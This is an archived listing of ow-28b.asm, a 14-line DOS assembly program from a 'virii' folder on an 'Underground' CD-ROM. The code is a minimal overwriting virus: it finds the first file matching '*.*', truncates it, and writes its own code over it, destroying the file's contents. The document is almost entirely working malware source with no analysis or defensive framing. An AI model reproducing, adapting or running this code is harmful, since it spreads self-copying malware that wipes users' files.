home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / o / ow-28b.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  377 b   |  14 lines
  1. Main:           Mov Ah,4eh
  2. On2:            Lea Dx,FileSpec
  3.                 Int 21h
  4.                 Mov Ah,3ch
  5.                 Mov Dx,9eh
  6.                 Int 21h
  7.                 Mov Bh,40h
  8.                 Xchg Ax,Bx
  9.                 Lea Dx,Main
  10.                 Mov Cl,Length
  11.                 Int 21h
  12. FileSpec        Db '*.*',0
  13. Length          Equ $-Main
  14.